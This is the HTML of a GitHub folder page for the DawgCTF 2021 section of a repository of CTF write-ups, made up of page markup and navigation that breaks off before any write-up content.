mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B6FF:E41C:17C71A9:18F6220:61830700" data-pjax-transient="true"/><meta name="html-safe-nonce" content="b582995f3126d52db67036d169440a0bee092d5b02f88a049dfd4b27dc3e7100" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNkZGOkU0MUM6MTdDNzFBOToxOEY2MjIwOjYxODMwNzAwIiwidmlzaXRvcl9pZCI6Ijg1MzQxMjA3Njc3NzQ5ODM5MzYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="edf8fea8a51ab518d61d8e5b085e897658de509efe57a929291be95fb2e75b29" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DawgCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="2ZFi3ipWEKmMFMfQyAlN5H7eYl99FB+8sPy3sZ7AgOXLIGQaJ6jqCW0Nq+aCFixvSCFtrmDdx9tepvRdJgOT+g==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull 